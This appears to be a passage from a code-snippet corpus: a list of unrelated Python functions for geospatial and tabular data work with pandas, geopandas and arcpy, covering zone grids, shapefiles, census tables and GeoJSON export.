_create_zones(self, output_path):\n for z_id in self.zone_ids:\n Z = Zone(z_id, self.operator, output_path, rs=self.rs1)\n Z.read_daily_demand(self.daily_OD_demand) # , self.daily_pickup_demand\n self.zones.append(Z)","def GenerateTaxiDensityFeatureClass(fgdb, taxi_feature_class):\n arcpy.env.overwriteOutput = True # allow overwriting output\n kd_raster = arcpy.sa.KernelDensity(taxi_feature_class, \n \"NONE\", \n area_unit_scale_factor=\"SQUARE_KILOMETERS\", \n out_cell_values=\"DENSITIES\", \n method=\"PLANAR\") # generate kernel density raster of taxi using taxi locations\n\n contour_feature_class = os.path.join(fgdb, \"contour\") # define output contour feature class path\n if arcpy.Exists(contour_feature_class): # if contour feature class already exists\n arcpy.Delete_management(contour_feature_class) # delete the feature class\n arcpy.sa.Contour(kd_raster, \n contour_feature_class, \n contour_interval=50000, \n base_contour=0, \n contour_type=\"CONTOUR_SHELL_UP\") # create contour feature class in intervals of 50000 (taxi/sqkm)\n\n arcpy.AlterField_management(contour_feature_class, \n \"ContourMin\", \n 'Contour', \n 'Minimum Contour') # rename ContourMin field (default name) to Contour to match schema of feature layer\n \n contour_dataset = [] # define empty list of contour dataset\n with arcpy.da.SearchCursor(contour_feature_class, \n [\"Contour\", \"SHAPE@JSON\", \"ContourMax\"]) as in_cursor: # define search cursor to read the field Contour and polygon geometry as json string\n for row in in_cursor: # iterate each polygon contour feature\n contour_dataset.append({\n \"Contour\": row[0],\n \"PolygonGeometry\": eval(row[1])['rings'],\n \"ContourMax\": row[2]\n }) # append each polygon's Contour field value and geometry json value to list\n del in_cursor # delete search cursor after using\n \n return contour_dataset # return list of contour polygon to main","def create_polygons(self):\r\n polygons = {}\r\n for id, neighbours_ids in self.neighbours_ids_lists.items():\r\n color = choice(ALL_COLORS)\r\n polygon = Polygon(color, id, neighbours_ids)\r\n polygons[id] = polygon\r\n return polygons","def _get_supply_per_zone(self, t):\n b = {z.id: len(z.idle_vehicles) for z in self.zones}\n supply_df = pd.DataFrame.from_dict(b, orient=\"index\", columns=[\"supply\"])\n # I shouldn't have cast it as df. dicts are much more efficient\n # normalize it \n supply_df[\"supply\"] = supply_df[\"supply\"] / (supply_df[\"supply\"].max() + 1)\n return supply_df","def get_zpae():\n zpae = gpd.read_file(\"./ZPAE/ZPAE/TODAS_ZPAE_ETRS89.shp\")\n mydic = get_lon_lat(zpae, \"zpae\", ruido=True)\n mydic[\"zpae\"][\"ruido\"] = zpae.ZonaSupera\n return pd.DataFrame(mydic[\"zpae\"])","def dataframe(countries):\n\n\t# read in data from dictionary\n\tdf = pd.DataFrame.from_dict(countries)\n\n\tinfant_mortality = df['Infant mortality (per 1000 births)']\n\t# convert sting into float with dot instead of comma and put it back in data frame\n\tdf['Infant mortality (per 1000 births)'] = df['Infant mortality (per 1000 births)'].str.replace(',','.').astype(float)\n\tdf['Pop. Density (per sq. mi.)'] = df['Pop. Density (per sq. mi.)'].str.replace(',','.').astype(float)\n\tdf['GDP ($ per capita) dollars'] = df['GDP ($ per capita) dollars'].astype(int)\n\n\treturn df","def build_geoseries(self, dataframe):\n geo_list = []\n with click.progressbar(dataframe.iterrows(), label='Pulling site plans and geographic title data', length=len(dataframe)) as d:\n for index, row in d:\n geo_list.append(self.map_property(row['linc']))\n\n geo_series = gpd.GeoSeries([Point(mark) for mark in geo_list], index=dataframe.index)\n\n return geo_series","def generate_grid(country):\n filename = 'national_outline_{}.shp'.format(country)\n country_outline = gpd.read_file(os.path.join(SHAPEFILE_DIR, filename))\n\n country_outline.crs = \"epsg:4326\"\n country_outline = country_outline.to_crs(\"epsg:3857\")\n\n xmin,ymin,xmax,ymax = country_outline.total_bounds\n\n #10km sides, leading to 100km^2 area\n length = 1e4\n wide = 1e4\n\n cols = list(range(int(np.floor(xmin)), int(np.ceil(xmax)), int(wide)))\n rows = list(range(int(np.floor(ymin)), int(np.ceil(ymax)), int(length)))\n rows.reverse()\n\n polygons = []\n for x in cols:\n for y in rows:\n polygons.append( Polygon([(x,y), (x+wide, y), (x+wide, y-length), (x, y-length)]))\n\n grid = gpd.GeoDataFrame({'geometry': polygons})\n intersection = gpd.overlay(grid, country_outline, how='intersection')\n intersection.crs = \"epsg:3857\"\n intersection = intersection.to_crs(\"epsg:4326\")\n\n final_grid = query_settlement_layer(intersection)\n\n final_grid = final_grid[final_grid.geometry.notnull()]\n final_grid.to_file(os.path.join(GRID_DIR, 'grid.shp'))\n\n print('Completed grid generation process')","def import_data(zone, region, train_tier):\n geojson = f'../../data/raw/{train_tier}/{region}/{zone}-labels/{zone}.geojson'\n geotif = f'../../data/raw/{train_tier}/{region}/{zone}/{zone}.tif'\n label_df = gpd.read_file(geojson)\n geotif = geotif\n return label_df, geotif","def add_shapes(df):\n gdf = gpd.read_file(Essex_Shape_Config.LAU_SHP_FILE)\n gdf.replace({'LAD19NM': {\"Epping Forest\": \"Epping\"}}, inplace = True) #epping is shortened in scraping\n merge_df = pd.merge(df,gdf, left_on='search_term', right_on='LAD19NM')\n merge_gdf = gpd.GeoDataFrame(merge_df)\n return merge_gdf","def make_zcta_file():\n # make df for grouped vaccinations\n df = pd.read_csv('grouped_vaccinations_by_zip.csv', names=['zip','total_shots','county'])\n df_grouped = df.groupby('zip').sum('total')\n\n # make df for zcta data\n zctafile = \"FL_ZCTA_variables_2019_r1.xlsx\"\n cols = ['zip', 'pop2019', 'poverty_pct', 'asian_pct', 'hispanic_pct', 'white_pct', 'black_pct']\n usecols = [0, 1, 2, 6, 7, 8, 9]\n\n df_zcta = pd.read_excel(zctafile, names=cols, usecols=usecols)\n df_zcta = df_zcta.set_index('zip')\n\n # merge the two df's\n df_zcta = pd.concat([df_grouped['total_shots'], df_zcta], axis=1).reset_index()\n df_zcta['vacc_rate'] = df_zcta['total_shots']/df_zcta['pop2019']\n\n # write to csv\n df_zcta.to_csv('zcta_grouped.csv', mode='w', header= True, index=False)","def _populate_zone_facts_table(self):\n census_fields = [\n 'poverty_rate', 'fraction_black', 'income_per_capita',\n 'labor_participation', 'fraction_foreign',\n 'fraction_single_mothers', 'acs_lower_rent_quartile',\n 'acs_median_rent', 'acs_upper_rent_quartile'\n ]\n\n zone_types = ['ward', 'neighborhood_cluster', 'census_tract']\n\n query_results = list()\n\n # populate columns accordingly for each zone_specific type\n for zone_type in zone_types:\n field_values = dict()\n\n # get field value for each zone_specific type\n for field in census_fields:\n result = self._census_with_weighting(data_id=field,\n grouping=zone_type)\n field_values[field] = result['items']\n\n zone_specifics = self._get_zone_specifics_for_zone_type(zone_type)\n\n # TODO: add aggregate for each zone_type into table\n for zone in zone_specifics:\n # get not None values so we can added to db\n columns = list()\n values = list()\n for field in census_fields:\n zone_value = field_values[field][zone]\n\n if zone_value is not None:\n columns.append(field)\n values.append(\"'\" + str(zone_value) + \"'\")\n\n # derive column and values strings needed for sql query\n columns = ', '.join(columns)\n columns = 'zone, ' + columns\n\n values = ', '.join(values)\n values = \"'\" + zone + \"', \" + values\n\n q = \"INSERT INTO zone_facts ({cols}) VALUES ({vals})\".format(\n cols=columns, vals=values)\n\n with self.engine.connect() as conn:\n result = conn.execute(q)\n query_results.append(result)\n\n return query_results","def get_nx10(location):\n cols = ['id', 'acc_x', 'acc_y', 'acc_z', 'gy_x', 'gy_y', 'gy_z', 'mag_x', 'mag_y', 'mag_z'] \n array = np.genfromtxt(location, delimiter=\",\")\n df = DataFrame(array).dropna()\n df.columns = cols\n return(df)","def create_demo_location_history() -> geopandas.GeoDataFrame:\n np.random.seed(123)\n\n time = pd.date_range(start=datetime.fromtimestamp(1624241116), end=datetime.now(), freq=\"1min\").values\n\n center_point = (-36.875990410695394, 174.76398830024274)\n lat = np.random.normal(loc=center_point[0], scale=0.01, size=len(time))\n lon = np.random.normal(loc=center_point[1], scale=0.01, size=len(time))\n\n geometry = [Point(lon, lat) for lon, lat in zip(lon, lat)]\n return geopandas.GeoDataFrame(pd.DataFrame(dict(time=time, lat=lat, lon=lon)), geometry=geometry)","def finalize_dataframe(self, dataframe: DataFrame):\n # Drop duplicates (some geospatial datasets, like ZCTAs, include redundant rows)\n geo_names = {'geometry'}\n non_geo_names = set(dataframe.columns) - geo_names\n dataframe = dataframe.drop_duplicates(subset=non_geo_names, ignore_index=True)\n\n # Insert NAs for annotated row values to avoid outlier values like -999,999,999\n dataframe.loc[dataframe['annotation'].notnull(), 'value'] = ''\n dataframe['value'] = pd.to_numeric(dataframe['value'], errors='coerce')\n\n # Create year date column\n dataframe['date'] = pd.to_datetime(\n dataframe['year'].astype('string') + '-12-31', format='%Y-%m-%d'\n )\n\n # Rename and reorder columns\n names_csv = resource_string(__name__, 'resources/names.csv')\n csv_reader = reader(StringIO(names_csv.decode('utf-8')))\n next(csv_reader) # Skip header row\n names = dict(csv_reader) # type: ignore\n if self.geometry in ['points', 'polygons'] and (set(dataframe.columns) & geo_names):\n name_order = [*names.values(), *geo_names]\n else:\n name_order = list(names.values())\n dataframe = dataframe.rename(columns=names)[name_order]\n\n return dataframe","def transform(self):\n select_columns = ['Province/State','Lat','Long']\n # df = global_cases.copy()\n global_cases = self.collect_case()\n df = global_cases.copy()\n df.drop(select_columns,axis=1, inplace=True)\n df = df[df['Country/Region'].apply(lambda x: x in Africa)].T.reset_index()\n df.columns = df.iloc[0]\n df.rename(columns={'Country/Region':'Date'},inplace=True)\n df.drop([0],axis=0,inplace=True)\n \n df['Date'] = pd.to_datetime(df['Date']).dt.strftime('%m-%d-%Y')\n # sort to have the latest update on top row\n df.sort_values('Date',ascending=False, inplace=True)\n african_cases = df.copy()\n\n return african_cases","def add_loc_ocean2df(df=None, LatVar='lat', LonVar='lon'):\n from geopandas.tools import sjoin\n # Get the shapes for the ocean\n featurecla = 'ocean'\n group = get_shapes4oceans(rtn_group=True, featurecla=featurecla)\n # Turn the dataframe into a geopandas dataframe\n gdf = geopandas.GeoDataFrame(\n df, geometry=geopandas.points_from_xy(df[LonVar], df[LatVar]))\n # Work out if any of the points are within the polygons\n pointInPolys = sjoin(gdf, group, how='left')\n # Check how many were assigned to a region\n Nnew = float(pointInPolys['name'].dropna().shape[0])\n N = float(df.shape[0])\n if N != Nnew:\n pstr = 'WARNING: Only {:.2f}% assigned ({} of {})'\n print(pstr.format((Nnew/N)*100, int(Nnew), int(N)))\n # Add the ocean assingnment back into the orginal dataframe\n df[featurecla] = pointInPolys['name'].values\n return df","def summary_table(countries: List[str]):\n \n df_list = []\n \n for country in countries:\n acceleration_figures = acceleration(country)\n pop = COUNTRY_DATA[country]['population']\n df_list.append(\n [\n country,\n COUNTRY_DATA[country]['data'].confirmed[-1],\n int(acceleration_figures[0] * pop),\n COUNTRY_DATA[country]['data'].deaths[-1],\n int(acceleration_figures[1] * pop),\n ]\n )\n\n return df_list","def table_with_routes(df, routes):\n full_names = []\n high_tax_list = []\n low_tax_list = []\n for org in in_taxa_dict.keys():\n group, subtax, long_name = in_taxa_dict[org]\n high_tax_list.append(group)\n low_tax_list.append(subtax)\n full_names.append(long_name)\n\n df = df[df.index.isin(in_taxa_dict.keys())]\n no_seqs = set(in_taxa_dict.keys()) - set(df.index)\n\n for taxon in no_seqs:\n df.loc[taxon] = len(df.columns) * [0]\n\n df.index.name = 'Unique ID'\n df.insert(loc=0, column='Lower Taxonomy', value=low_tax_list)\n df.insert(loc=0, column='Higher Taxonomy', value=high_tax_list)\n df.insert(loc=0, column='Full Name', value=full_names)\n\n df = df.sort_index(axis=0)\n df.to_csv(f'{output_fold}/occupancy.tsv', sep='\\t')\n\n # Adds routes to df\n for gene in df.columns:\n df[gene] = df[gene].apply(str)\n for org in df[gene].index:\n if org in routes[gene]:\n df.at[org, gene] = f'{df[gene][org]}_{routes[gene][org]}'\n\n df.to_csv(f'{output_fold}/occupancy_with_routes.tsv', sep='\\t')\n\n return df","def vectorize(df):\n\tt = calc_affine(df)\n\ta = df.values\n\t# zeros an nan are left open space, means mask = True!\n\tmaske = (df != 0).fillna(True)\n\tgdf = gpd.GeoDataFrame()\n\tgeoms = []\n\tvalue = []\n\tfor s,v in rasterio.features.shapes(a,transform=t,mask=maske.values):\n\t\tgeoms.append(shape(s))\n\t\tvalue.append(v)\n\tgdf['geometry'] = geoms\n\tgdf = gdf.set_geometry('geometry')\n\tgdf['val']=value\n\treturn gdf","def gdf(self) -> gpd.GeoDataFrame:\n return self.just_geometry_gdf.join(self.df)","def read_polygon_shapefile(filename):\n result = cpp_read_polygon_shapefile(filename)\n return (\n DataFrame({\"f_pos\": result[0], \"r_pos\": result[1]}),\n DataFrame({\"x\": result[2], \"y\": result[3]}),\n )","def getRegions(self, polygon: Polygon, epsg: int) -> list:\n self.output_epsg = epsg\n polygon_df = gpd.GeoDataFrame([polygon], columns=['geometry'])\n\n polygon_df.set_crs(epsg=self.output_epsg, inplace=True)\n polygon_df['geometry'] = polygon_df['geometry'].to_crs(epsg=self.input_epsg)\n minx, miny, maxx, maxy = polygon_df['geometry'][0].bounds\n\n cond_xmin = self.metadata.xmin <= minx\n cond_xmax = self.metadata.xmax >= maxx\n cond_ymin = self.metadata.ymin <= miny\n cond_ymax = self.metadata.ymax >= maxy\n\n df = self.metadata[cond_xmin & cond_xmax & cond_ymin & cond_ymax]\n sort_df = df.sort_values(by=['year'])\n regions = sort_df['filename'].to_list()\n return regions","def reach_points_as_dataframe(self) -> pd.DataFrame:\n df_pt = pd.DataFrame([pt.as_dictionary for pt in self._reach_points])\n df_pt.spatial.set_geometry('SHAPE')\n return df_pt","def read_polygon_shapefile(filename):\n result = cpp_read_polygon_shapefile(filename)\n f_pos = Series(result[0], name=\"f_pos\")\n r_pos = Series(result[1], name=\"r_pos\")\n return (\n f_pos,\n r_pos,\n DataFrame({\"x\": result[2], \"y\": result[3]}),\n )","def new_df(companies_filtered):\n name = []\n city = []\n latitude = []\n longitude = []\n zip_code = []\n for i in companies_filtered:\n name.append(i['name'])\n try: \n if i['offices'][0]['city'] == '':\n city.append(np.nan)\n else:\n city.append(i['offices'][0]['city'])\n latitude.append(i['offices'][0]['latitude'])\n longitude.append(i['offices'][0]['longitude'])\n except:\n city.append(np.nan)\n latitude.append(np.nan)\n longitude.append(np.nan)\n zip_code.append(np.nan)\n dict_ = {'company' : name, 'city' : city, 'latitude' : latitude, 'longitude': longitude}\n companies_df = pd.DataFrame.from_dict(dict_, orient='columns')\n \n return companies_df","def get_annotation_dataframe_compact(self): \n temp_df = pd.DataFrame(self.annotation_line_list)\n # make a list with the annotations for each bbox (each row of the fata frame)\n temp_df['annon'] = list(zip(list(zip(temp_df['xmin'], temp_df['ymin'], temp_df['xmax'], temp_df['ymax'])), temp_df['class_name']))\n # group the df based on im_full_path\n grouped = temp_df.groupby(['img_full_path'])\n # create tuples of the grouped rows columns\n df_serie = grouped['annon'].aggregate(lambda x: tuple(x))\n return df_serie.to_frame()","def prepare_data(self, file):\n maps = np.load(file)\n pred, gt, not_care = maps[-3:]\n return self.get_polygon(pred), self.get_polygon(gt), self.get_polygon(not_care)","def get_vector_markup(self, mask, geotransform, trg_crs='epsg:3857'):\n\n # plt.imsave(os.path.join(time_series_path, time_frame, '_'.join([dataset_element_name, mask_name, time_frame, self.get_timestamp()])+'.png'), raw)\n shapes = rasterio.features.shapes(mask, transform=geotransform)\n # the last shape contains all geometry\n shapes = list(shapes)[:-1]\n polygons = [geojson.Feature(geometry=geojson.Polygon(shape[0]['coordinates'])) for shape in shapes]\n crs = {\n \"type\": \"name\",\n \"properties\": {\n \"name\": trg_crs}}\n gs = geojson.FeatureCollection(polygons, crs=crs)\n return geojson.dumps(gs)","def exportVoronoiRegions(self):\n # Remember to compute circumcircles if not done before\n # for t in self.triangles:\n # self.circles[t] = self.circumcenter(t)\n useVertex = {i: [] for i in range(len(self.coords))}\n vor_coors = []\n index = {}\n # Build a list of coordinates and a index per triangle/region\n for tidx, (a, b, c) in enumerate(self.triangles):\n vor_coors.append(self.circles[(a, b, c)][0])\n # Insert triangle, rotating it so the key is the \"last\" vertex\n useVertex[a] += [(b, c, a)]\n useVertex[b] += [(c, a, b)]\n useVertex[c] += [(a, b, c)]\n # Set tidx as the index to use with this triangles\n index[(a, b, c)] = tidx\n index[(c, a, b)] = tidx\n index[(b, c, a)] = tidx\n\n # init regions per coordinate dictionary\n regions = {}\n # Sort each region in a coherent order, and substitude each triangle\n # by its index\n for i in range(4, len(self.coords)):\n v = useVertex[i][0][0] # Get a vertex of a triangle\n r = []\n for _ in range(len(useVertex[i])):\n # Search the triangle beginning with vertex v\n t = [t for t in useVertex[i] if t[0] == v][0]\n r.append(index[t]) # Add the index of this triangle to region\n v = t[1] # Choose the next vertex to search\n regions[i-4] = r # Store region.\n\n return vor_coors, regions","def output_grid_information():\n # translate = [-74.26, 40.50]\n # scale = [0.02, 0.02]\n # step = 1\n\n translate = [0, 0]\n scale = [1, 1]\n step = 0.02\n\n lon_limits = [(-74.26 - translate[0]) / scale[0], (-73.76 - translate[0]) / scale[0]]\n lat_limits = [(40.48 - translate[1]) / scale[1], (40.94 - translate[1]) / scale[1]]\n\n lons = np.arange(lon_limits[0], lon_limits[1] - step, step)\n lats = np.arange(lat_limits[0], lat_limits[1] - step, step)\n\n all_json = {\n \"type\": \"FeatureCollection\"\n }\n\n gr_id = 0\n grid_df = pd.DataFrame(columns=['gr_id', 'c_lat', 'c_lon', 's_lon', 'w_lat', 'n_lon', 'e_lat'])\n features = []\n\n for lat in lats:\n for lon in lons:\n w_lon = lon\n e_lon = lon + step\n s_lat = lat\n n_lat = lat + step\n\n c_lon = lon + step / 2\n c_lat = lat + step / 2\n\n grid_df = grid_df.append(pd.DataFrame({\"gr_id\": [gr_id],\n \"c_lon\": [c_lon], \"c_lat\": [c_lat],\n \"w_lon\": [w_lon], \"s_lat\": [s_lat],\n \"e_lon\": [e_lon], \"n_lat\": [n_lat]}))\n\n coor = [[[s_lat, w_lon], [n_lat, w_lon], [n_lat, e_lon],\n [s_lat, e_lon], [s_lat, w_lon]]]\n\n feature = {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"Polygon\",\n \"coordinates\": coor\n },\n \"properties\": {\n \"id\": str(gr_id)\n }\n }\n\n features.append(feature)\n\n gr_id += 1\n\n all_json['features'] = features\n\n with open(BaseDir + '/grid.geojson', 'w') as f:\n json.dump(all_json, f)\n\n grid_df.to_csv(BaseDir + '/grid_locs.csv', index=False)","def convert_tables_to_dataframe(self, tables: List[Table]):\n geography_types = get_geo_mappings('geo_codes').keys()\n\n # Melt each subset to adopt common schema\n subsets = []\n for header, *rows in tables:\n subset = DataFrame(rows, columns=header)\n # Consolidate geography type in a single column\n geography_columns = set(geography_types) & set(subset.columns)\n id_vars = ['NAME', 'GEO_ID', 'geo_type', *geography_columns, 'year']\n melted = subset.melt(id_vars=id_vars).drop(columns=geography_columns)\n subsets.append(melted)\n\n # Ensure correct sort order and value dtype\n dataframe = (\n pd.concat(subsets)\n .sort_values(by=['geo_type', 'variable', 'NAME', 'year'])\n .reset_index(drop=True)\n )\n dataframe['value'] = dataframe['value'].astype(float)\n\n return dataframe","def get_athlete_zones(self):\n pass","def get_all_db_region(self, context):\n zone_objs = self.dns_manager.get_all_db_region(context)\n return zone_objs","def _get_demand_per_zone(self, t):\n a = {z.id: len(z.demand) for z in self.zones}\n demand_df = pd.DataFrame.from_dict(a, orient=\"index\", columns=[\"demand\"])\n # normalize it \n demand_df[\"demand\"] = demand_df[\"demand\"] / (demand_df[\"demand\"].max() + 1)\n # print (\"normalized demand \", demand_df)\n return demand_df","def dataframe(self):\n df = pd.DataFrame({'x':self.x, 'y':self.y, 'd':self.d})\n\n if self.z is not None:\n for k, v in self.z.items():\n df[k] = v\n\n return df","def zombie_tnc(self) -> pd.DataFrame:\n # load the report folder zombie TNC trips trip list\n trips = pd.read_csv(\n os.path.join(self.scenario_path,\n \"report\",\n \"zombieTNCTrips.csv\"),\n usecols=[\"tripID\", # unique trip id\n \"tripMode\", # trip mode\n \"weightTrip\", # trip weight\n \"weightPersonTrip\", # person trip weight\n \"timeTotal\", # total trip time\n \"distanceTotal\", # total trip distance\n \"costTotal\"]) # total trip cost\n\n # return fields of interest\n return trips[[\"tripID\",\n \"tripMode\",\n \"weightTrip\",\n \"weightPersonTrip\",\n \"timeTotal\",\n \"distanceTotal\",\n \"costTotal\"]]","def generate_taf_geojson(taf_list):\n\n # Initialise Variables\n taf_features = []\n \n # If there are no TAFs (incase None is passed)\n if taf_list is None:\n return taf_features\n \n #Get the colours\n colr = current_app.config['WEATHER_TAF_COLOUR']\n opacity = current_app.config['WEATHER_TAF_OPACITY']\n col_r = int(colr[1:3],16)\n col_g = int(colr[3:5],16)\n col_b = int(colr[5:7],16)\n \n # Create the Fill Colour attribute - opacity as set above\n fill_col=f'rgba({col_r},{col_g},{col_b},{opacity})'\n # Create the Line Colour attribute - opacity of 1\n line_col=f'rgba({col_r},{col_g},{col_b},1)'\n\n \n # Create a GEOJSON Feature for each Notam - Feature contains specific Notam attributes\n for this_taf in taf_list:\n \n # Create the Point geometry\n geojson_geom = Point(this_taf['coords'])\n #Calculate the age of the TAF\n if (datetime.utcnow() < this_taf['time']):\n taf_age = ''\n else:\n taf_age = datetime.utcnow() - this_taf['time']\n if taf_age.days > 0:\n taf_age = f'{taf_age.days} day(s) old'\n elif (taf_age.seconds/3600) > 2:\n taf_age = f'{int(taf_age.seconds/3600)} hours old'\n else:\n taf_age = f'{int(taf_age.seconds/60)} minutes old'\n \n\n # Append this Feature to the collection, setting the various attributes as properties\n taf_features.append(Feature(geometry=geojson_geom, properties={'fill':fill_col, 'line':line_col, \n 'group': 'TAF',\n 'layer_group': 'TAF_symbol', \n 'aerodrome': this_taf['aerodrome'],\n 'date_time': datetime.strftime(this_taf['time'], '%H:%M %d-%b'),\n 'valid_from': datetime.strftime(this_taf['valid_from'], '%d-%b %H:%M'),\n 'valid_to': datetime.strftime(this_taf['valid_to'], '%d-%b %H:%M'),\n 'taf_age' : taf_age,\n 'text': this_taf['body']}))\n\n return taf_features","def df(self):\n\n # populate dataframe with level data\n columns = {\n \"z\": self.z(),\n \"z_level_qc\": self.z_level_qc(),\n \"z_unc\": self.z_unc(),\n \"t\": self.t(),\n \"t_level_qc\": self.t_level_qc(),\n \"t_unc\": self.t_unc(),\n \"s\": self.s(),\n \"s_level_qc\": self.s_level_qc(),\n \"s_unc\": self.s_unc(),\n \"oxygen\": self.oxygen(),\n \"phosphate\": self.phosphate(),\n \"silicate\": self.silicate(),\n \"pH\": self.pH(),\n \"p\": self.p()\n }\n\n df = pd.DataFrame(columns)\n\n # record profile data in a metadata object on the dataframe\n df.attrs[\"latitude\"] = self.latitude()\n df.attrs[\"latitude_unc\"] = self.latitude_unc()\n df.attrs[\"longitude\"] = self.longitude()\n df.attrs[\"longitude_unc\"] = self.longitude_unc()\n df.attrs[\"uid\"] = self.uid()\n df.attrs[\"n_levels\"] = self.n_levels()\n df.attrs[\"year\"] = self.year()\n df.attrs[\"month\"] = self.month()\n df.attrs[\"day\"] = self.day()\n df.attrs[\"time\"] = self.time()\n df.attrs[\"cruise\"] = self.cruise()\n df.attrs[\"probe_type\"] = self.probe_type()\n df.attrs[\"originator_flag_type\"] = self.originator_flag_type()\n df.attrs[\"PIs\"] = self.PIs()\n df.attrs[\"originator_station\"] = self.originator_station()\n df.attrs[\"originator_cruise\"] = self.originator_cruise()\n df.attrs[\"t_metadata\"] = self.t_metadata()\n df.attrs[\"s_metadata\"] = self.s_metadata()\n\n return df","def list_to_gdf (lis):\r\n gdf = gpd.GeoDataFrame(lis)\r\n # rename the column \r\n gdf.rename(columns ={0:\"geometry\"},inplace=True)\r\n # define crs to dataframe\r\n gdf.crs = {'init' :'epsg:{}'.format(4326)} \r\n gdf = gdf.to_crs(epsg = 4326)\r\n \r\n return gdf","def construct_df():\n iterable = [['approach', 'contact', 'retract', 'pause'], ['force', 'height']]\n index = pd.MultiIndex.from_product(iterable, names=['segment', 'channel'])\n return pd.DataFrame(columns=index)","def to_geom(self):\n return [\n self.create_poly(bbox)\n for group_idx, indices, bbox in self.sindex.leaves()\n ]","def createDataFrame(path):\n df = pd.read_csv(path)\n df = df[['planet_name', 'planet_mass', 'orbital_radius', 'host_name', \n 'spectral_type', 'stellar_age', 'stellar_radius', \n 'stellar_mass', 'stellar_temperature', 'stellar_luminosity', \n 'optical_magnitude', 'near_ir_magnitude', \n 'stellar_surface_gravity', 'stellar_metallicity']]\n \n df = df.dropna(subset=['spectral_type'])\n df.spectral_type = df.spectral_type.str[0:1]\n df.spectral_type = df.spectral_type.str.strip()\n classification = np.array(['O','B','A','F','G','K','M'])\n df = df[df.spectral_type.isin(classification)]\n df.insert(4, \"amount_of_planets\", 0)\n df.amount_of_planets = df.groupby('host_name')['host_name'].transform('count')\n \n df.planet_mass = np.log10(df.planet_mass)\n df.orbital_radius = np.log10(df.orbital_radius)\n \n df = df.sort_values(by=['host_name'])\n df = df.reset_index(drop=True) \n \n return df","def social_infrastructure_polygon(osm_path): \n df1 = social_amenity(osm_path)\n df2 = social_healthcare(osm_path)\n \n return (df1.append(df2)).reset_index(drop=True)","def to_df(self, columns=None) -> pd.DataFrame:\n return create_dataframe(\n data=super().to_list(),\n columns=columns,\n default_columns=DEFAULT_COLUMNS,\n logger_description=\"Geographies\",\n )","def append_shp(geoDFs):\r\n from pandas import concat\r\n\r\n assert(isinstance(geoDFs, list)), 'type list expected'\r\n assert len(geoDFs) > 1, 'more than one geodataframe expected'\r\n \r\n inCRS = getCRS(geoDFs[0])\r\n for df in geoDFs:\r\n assert getCRS(df) == inCRS, \"Projections don't match\"\r\n return geopandas.GeoDataFrame(concat(geoDFs,\r\n ignore_index=True), crs=inCRS)","def gdf(self) -> gpd.GeoDataFrame:\n path = str(get_path(\"geojson/FeatureCollection02.json\"))\n df = gpd.read_file(path)\n return df","def start_dataframe(block_zones, block_guid, block_name, block_pt, block_layer):\n # make an empty list to populate with block objects\n blocks = []\n # connect gh wires to python block classes\n for i, z in enumerate(block_zones):\n b = Block()\n b.guid = block_guid[i]\n b.name = block_name[i]\n b.point = block_pt[i]\n b.layer = block_layer[i]\n b.phase = find_phase(b.layer)\n b.zones = z\n b.x = b.point[0]\n b.y = b.point[1]\n b.z = b.point[2]\n b.floor = find_floor(str(z))\n b.elevation = find_elevation(str(z))\n b.swing_drop = get_drop(str(z))\n b.priority = find_priority(str(z))\n b.access = get_access(str(z))\n b.survey = get_survey(str(z))\n\n # populate list of blocks\n blocks.append(b)\n\n # turn the above list to a pandas dataframe\n df = pd.DataFrame([vars(f) for f in blocks])\n\n # append a columns to df to track drop sort order\n df[\"drop_sort\"] = df.swing_drop.apply(lambda x: nat_sort(x, df))\n\n # further specify dataframe sort order\n df = df.sort_values([\"access\", \"survey\", \"elevation\", \"floor\", \"drop_sort\", \"y\", \"x\"],\n ascending=[False, True, True, False, True, False, True])\n df.reset_index(inplace=True, drop=True)\n df[\"new_order\"] = df.index + 1\n\n # append columns\n df[\"instance\"] = df.groupby(\"name\").cumcount() + 1\n df[\"sample\"] = 0\n df.loc[df.instance == 1, \"sample\"] = 1\n\n # create the survey name/bumper sticker name\n df[\"survey_name\"] = df.swing_drop + \"-\" + df.floor.map(str) + \"-\" + df.name + \"[\" + df.new_order.map(str) + \"]\"\n # df[\"survey_name\"] = f\"{df.swing_drop}-{df.floor.map(str)-{df.name}[{df.new_order.map(str)}]}\"\n return df","def download_postcode_areas() -> pd.DataFrame:\n\n uk_cities_postcodes = \"https://en.wikipedia.org/wiki/List_of_postcode_areas_in_the_United_Kingdom\"\n\n postcodes_tables = pd.read_html(uk_cities_postcodes)\n postcode_table = postcodes_tables[0]\n\n print(\"Saving the postcodes....\")\n output_path = path.join(\"../..\", \"datasets\", \"uk_postcodes\", f\"postcodes.csv\")\n postcode_table.to_csv(output_path)\n print(\"Saving the postcodes....DONE\")\n return postcode_table","def create_regressor_attributes(df, attribute, list_of_prev_t_instants) :\n \n list_of_prev_t_instants.sort()\n start = list_of_prev_t_instants[-1] \n end = len(df)\n df['datetime'] = df.index\n df.reset_index(drop=True)\n\n df_copy = df[start:end]\n df_copy.reset_index(inplace=True, drop=True)\n\n for attribute in attribute :\n foobar = pd.DataFrame()\n\n for prev_t in list_of_prev_t_instants :\n new_col = pd.DataFrame(df[attribute].iloc[(start - prev_t) : (end - prev_t)])\n new_col.reset_index(drop=True, inplace=True)\n new_col.rename(columns={attribute : '{}_(t-{})'.format(attribute, prev_t)}, inplace=True)\n foobar = pd.concat([foobar, new_col], sort=False, axis=1)\n\n df_copy = pd.concat([df_copy, foobar], sort=False, axis=1)\n \n df_copy.set_index(['datetime'], drop=True, inplace=True)\n return df_copy","def draw_sunburst_do(df=data):\n gp = df.groupby(['DOBorough', 'DOZone']) \\\n .agg(value=('VendorID', 'count')) \\\n .reset_index(drop=False)\n\n return px.sunburst(gp, path=['DOBorough', 'DOZone'], values='value') \\\n .update_layout(\n template='plotly_dark',\n plot_bgcolor='rgba(0, 0, 0, 0)',\n paper_bgcolor='rgba(0, 0, 0, 0)',\n )","def cross_border(self) -> pd.DataFrame:\n # load the report folder cross border trip list\n trips = pd.read_csv(\n os.path.join(self.scenario_path,\n \"report\",\n \"crossBorderTrips.csv\"),\n usecols=[\"tripID\", # unique trip id\n \"tripMode\", # trip mode\n \"weightTrip\", # trip weight\n \"weightPersonTrip\", # person trip weight\n \"timeTotal\", # total trip time\n \"distanceTotal\", # total trip distance\n \"costTotal\", # total trip cost\n \"tripPurposeDestination\"]) # trip purpose\n\n trips[\"purpose\"] = trips[\"tripPurposeDestination\"]\n\n # return fields of interest\n return trips[[\"tripID\",\n \"tripMode\",\n \"weightTrip\",\n \"weightPersonTrip\",\n \"timeTotal\",\n \"distanceTotal\",\n \"costTotal\",\n 